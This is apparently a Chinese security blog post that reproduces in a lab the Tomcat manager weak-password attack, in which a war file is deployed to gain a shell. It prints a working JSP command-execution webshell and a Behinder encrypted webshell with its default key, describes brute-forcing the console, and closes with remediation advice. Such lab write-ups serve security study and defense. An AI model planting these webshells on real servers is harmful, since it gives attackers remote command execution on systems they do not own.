freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

Tomcat war包部署 -- 漏洞复现
高小白gaoxiaobai 2022-04-11 11:51:37 247997
所属地 内蒙古

tomcat war包部署

1、漏洞原理

tomcat支持在后台部署war文件,可以直接将webshell部署到web目录下。若后台管理页面存在弱口令,则可以通过爆破获取密码。

Tomcat默认情况下是不允许任何人登录管理后台的,所以并没有设置的默认密码与用户名。但是如果有使用后台管理的需要时,可以在用户配置文件中(tomcat-users.xml)手动设置用户名和密码,并且根据其需要的功能设置用户权限。

其后台管理权限分为两种:一种是用于管理所部署Web应用,以manager开头,一个是用于管理虚拟主机,以admin开头。
image

进入容器查看tomcat-users.xml文件

<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
              version="1.0">

    <role rolename="manager-gui"/>
    <role rolename="manager-script"/>
    <role rolename="manager-jmx"/>
    <role rolename="manager-status"/>
    <role rolename="admin-gui"/>
    <role rolename="admin-script"/>
    <user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" />
    
</tomcat-users>

image

查看tomcat-users.xml文件可见,用户tomcat拥有上述所有权限,密码是tomcat

2、漏洞复现

tomcat版本:8.0

tomcat后台地址:用户名 tomcat 密码 tomcat

http://192.168.139.132:8080/manager/html

image

上传点

image

shell.jsp文件

<%@ page language="java" contentType="text/html; charset=GBK"
    pageEncoding="UTF-8"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>

    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
        <title>一句话木马</title>
    </head>

    <body>
        <%
        if ("admin".equals(request.getParameter("pwd"))) {
            java.io.InputStream input = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
            int len = -1;
            byte[] bytes = new byte[4092];
            out.print("<pre>");
            while ((len = input.read(bytes)) != -1) {
                out.println(new String(bytes, "GBK"));
            }
            out.print("</pre>");
        }
    %>
    </body>

</html>

打包成war包

image

上传war包成功

image

访问上传的jsp文件

注意:war包部署后,tomcat会自动解压,shell.war 解压后就是shell/shell.jsp,因此地址为
http://192.168.139.132:8080/shell/shell.jsp?pwd=admin&cmd=whoami

image命令执行成功

可以上传一句话木马,直接getshell

3、一句话马getshell

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

打包war包

image

直接冰蝎连接webshell

注意:war包部署后,tomcat会自动解压,shell.war 解压后就是shell/shell.jsp,因此地址为
地址:http://192.168.139.132:8080/shell/shell.jsp

image

4、爆破若口令

当我们不知道密码时,可以进行强行爆破,但是tomcat6.0以后的版本,针对爆破做了锁定机制。

在conf/server.xml中添加一段代码

failureCount="500"lockOutTime="0"    超时锁定数的设置。

image

burpsuite爆破

5、修复方案

1、在系统上以低权限运行Tomcat应用程序。创建一个专门的 Tomcat服务用户,该用户只能拥有一组最小权限(例如不允许远程登录)。

2、增加对于本地和基于证书的身份验证,部署账户锁定机制(对于集中式认证,目录服务也要做相应配置)。在CATALINA_HOME/conf/web.xml文件设置锁定机制和时间超时限制。

3、以及针对manager-gui/manager-status/manager-script等目录页面设置最小权限访问限制。

# tomcat # 中间件 # 漏洞复现及分析 # tomcat war包部署
本文为 高小白gaoxiaobai 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
高小白gaoxiaobai LV.4
这家伙太懒了,还未填写个人描述!
  • 8 文章数
  • 2 关注者
Dedecms 前端RCE漏洞复现(原理)-- 代码审计
2022-04-12
phpmyadmin反序列化原理(WooYun-2016-199433)--漏洞复现
2022-04-11
tomcat PUT方法任意文件写入--漏洞复现
2022-03-15